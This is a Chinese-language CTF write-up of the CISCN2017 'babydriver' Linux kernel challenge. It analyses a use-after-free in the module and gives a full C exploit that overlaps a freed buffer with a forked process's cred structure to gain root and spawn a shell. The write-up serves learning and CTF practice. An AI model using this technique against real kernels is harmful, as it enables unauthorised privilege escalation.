是kernal pwn
给了三个文件
boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
bzImage: 打包的内核代码,一般通过它抽取出vmlinx,寻找gadget也是在这里
rootfs.cpio: 文件系统映像,也就是内核采用的文件系统
像用户态pwn一样,还不是先查保护。
可以看得出来,只开了smep。
这是个啥,我们先说一下内核态保护都有点啥
内核保护从四个方面出发,分别是隔离、访问控制、异常检测、随机化。
隔离又分为用户代码不可执行,用户数据不可访问,还有一个KPTI。
而我们说的smep是属于用户代码不可执行。
这个是ctf-wiki的简介
起初,在内核态执行代码时,可以直接执行用户态的代码。那如果攻击者控制了内核中的执行流,就可以执行处于用户态的代码。由于用户态的代码是攻击者可控的,所以更容易实施攻击。为了防范这种攻击,研究者提出当位于内核态时,不能执行用户态的代码。
然后我们要把他给的文件系统文件解压,找到init文件,看看挂载了一些什么。
mkdir core
cp rootfs.cpio ./core
cd core
mv ./rootfs.cpio rootfs.cpio.gz
#因为cpio是经过gzip压缩过的,必须更改名字,gunzip才认识
gunzip ./rootfs.cpio.gz
#gunzip解压一会cpio才可以认识,不然就会报畸形数字
cpio -idmv < ./rootfs.cpio
#cpio是解压指令 -idmv是它的四个参数
#-i或--extract 执行copy-in模式,还原备份档。
#-d或--make-directories 如有需要cpio会自行建立目录。
#-v或--verbose 详细显示指令的执行过程。
#-m或preserve-modification-time 不去更换文件的更改时间
查看init文件
moun挂载Linux系统外的文件
chown命令用于设置文件所有者和文件关联组的命令,chown 需要超级用户 root 的权限才能执行此命令。可以看到把flag扔到了root。
chmod控制用户对文件的权限的命令
exec设置文件流
insmod命令用于载入模块
最后poweroff关闭了电源
所以看半天其实为了说明就加载了babydriver.ko这个模块,问题就在里面。
那么怎么把这个模块拿出来,我们还有一个文件没用,就是bzImage,他是内核代码的压缩。
利用linux内核源码中的script中的extract-vmlinux脚本可以抽取出vmlinux
vmlinux就是内核文件。
./extract-vmlinux ./bzImage > vmlinux
这个./extract-vmlinux可能有一些内核把它剥离了,所以只能自己写shell脚本。
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
将这个脚本写在桌面,或者其他地方。
然后给个权限
chmod +x ./extract-vmlinux
然后就可以用上面那个句子来提取vmlinux了。
前期工作准备完毕,然后我们就知道问题在那个babydriver的模块中,我们把他拉到IDA当中。
函数目录在这里。
open
kmem_cache_alloc_trace用于从缓冲区申请内存。
就是申请了0x40大小的内存,然后地址,大小存在了结构体中。
read
比较device_buf_len和长度,执行copy_to_user,就像buffer中写东西,这个buffer明显是用户态传进来的。
write
write显然跟read是反的,copy from。
就是往内核写。
ioctl
输入65537,就会释放buf,然后再申请len大小的内存。
release
就是释放,但是显然,我们熟悉的,没有清理指针,有uaf。而且结构体是全局变量。
也就是说如果我们同时打开两个设备,第二次会覆盖第一次分配的空间,因为 babydev_struct 是全局的。同样,如果释放第一个,那么第二个其实是被是释放过的。
怎么利用
首先我们要介绍一个cred结构体。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
kernel 记录了进程的权限,更具体的,是用 cred 结构体记录的,每个进程中都有一个 cred 结构,这个结构保存了该进程的权限等信息(uid,gid 等),如果能修改某个进程的 cred,那么也就修改了这个进程的权限。
那我们的思路是啥
先open两次/dev/babydev,fd1,fd2
通过ioctl修改babydevice_t->device_buf_len为cred结构体大小(0xa8)
关闭其中一个fd1,会将babydevice_t释放
fork,创建一个进程,由于释放的babydevice_t和cred大小相同,将使用babydevice_t作为cred结构体
通过write(fd2,buf)来修改cred的uid,gid为0
exp
CISCN2017_babydriver [master●●] cat exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}
最后我们到了getshell的部分,怎样getshell。
首先我们把exp丢到core的tmp目录下。
cp exp core/tmp
然后重新把内核打包起来。
cd core
find . | cpio -o --format=newc > rootfs.cpio
然后把打包好的拿出来。
cp rootfs.cpio ..
然后出来,启动
cd ..
./boot.sh
然后就ok了。